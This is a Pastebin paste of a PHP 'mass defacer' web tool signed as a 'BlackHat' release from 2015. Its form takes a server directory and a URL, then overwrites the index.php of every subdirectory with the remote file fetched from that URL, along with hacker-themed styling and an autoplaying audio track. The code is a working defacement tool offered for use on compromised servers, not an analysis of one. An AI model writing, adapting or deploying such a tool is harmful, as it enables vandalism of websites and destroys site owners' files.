Dr-L0v3

PHP Mass Defacer by Dr.L0v3

Jul 21st, 2015
1,440
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.62 KB | None | 0 0
  1. <?php
  2. echo "<center><textarea rows='10' cols='100'>";
  3. $defaceurl = $_POST['massdefaceurl'];
  4. $dir = $_POST['massdefacedir'];
  5. echo $dir . "
  6. ";
  7. if (is_dir($dir)) {
  8.     if ($dh = opendir($dir)) {
  9.         while (($file = readdir($dh)) !== false) {
  10.             if (filetype($dir . $file) == "dir") {
  11.                 $newfile = $dir . $file . "/index.php";
  12.                 echo $newfile . "
  13. ";
  14.                 if (!copy($defaceurl, $newfile)) {
  15.                     echo "failed to copy $file...
  16. ";
  17.                 }
  18.             }
  19.         }
  20.         closedir($dh);
  21.     }
  22. }
  23. echo "</textarea></center>";
  24. ?>
  25.  
  26. <title>PHP Mass Defacer by Dr.L0v3</title>
  27. <style type='text/css'>
  28. input:focus, select:focus, textarea:focus, button:focus{
  29.    outline:none;
  30. }
  31. html, body{
  32.    width:100%;
  33.    height:100%;
  34. }
  35. body{
  36.    background-color:#000000;
  37.    background-image: url('http://lh6.ggpht.com/_MiPWgbaPvGw/S0tf1pl8hAI/AAAAAAAAAEc/kHA5HrsMBLs/bluematrix.gif');
  38.    background-repeat: repeat;
  39.    background-position: center;
  40.    background-attachment: fixed;
  41.    font-family: Tahoma;
  42.    font-size:12px;
  43. }
  44.  
  45. input, select{
  46.    background:#002222;
  47.    padding:3px;
  48.    border-radius:3px;
  49.    color:#fa0000;
  50.    border:2px dotted #00ff00; width: 250px;
  51. }
  52.  
  53. BODY {
  54.    SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
  55. margin: 1px;
  56. color: Red;
  57. background-color: Black;
  58. }
  59. hr{
  60.    margin:8px 0;
  61.    border-bottom:1px dashed #fa0000;
  62. }
  63. .login{
  64.     background: none repeat scroll 0% 0% rgb(105, 167, 78);
  65.     border-color: rgb(152, 195, 125) rgb(59, 110, 34) rgb(44, 81, 21);
  66.     color: rgb(255, 255, 255);
  67. }
  68. .login {
  69.     font-size: 13px;
  70.     line-height: 23px;
  71. </style>   
  72. <link href='http://www.iconian.com/aniflags/jollyrogers.gif' rel='shortcut icon'/>
  73. <body>
  74. <audio src="http://www1.pacific.edu/%7En-lee/RiseAndFall.mp3" controls="" hidden="" autoplay="true" loop="infinite" ></audio>
  75. <td align=right>Mass Defacement:</td><br>
  76. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  77. [#] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
  78. [#] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl' value='http://YourSite.Com/Index.php'>
  79. <input type='submit' name='execmassdeface' value='Go !!!'></form></td>
  80.  
  81.  
  82.  
  83. <center>
  84. <br>
  85. <br>
  86. <br>
  87. ### PHP Mass Defacer ###<br>
  88. ### by Dr.L0v3 ###<br>
  89. <br>
  90. Dr.L0v3 &copy 2015 <br>
  91. [#] BlackHat [#] <br>
  92. </center>
  93. </body>
  94. </html>
Advertisement
Add Comment
Please, Sign In to add comment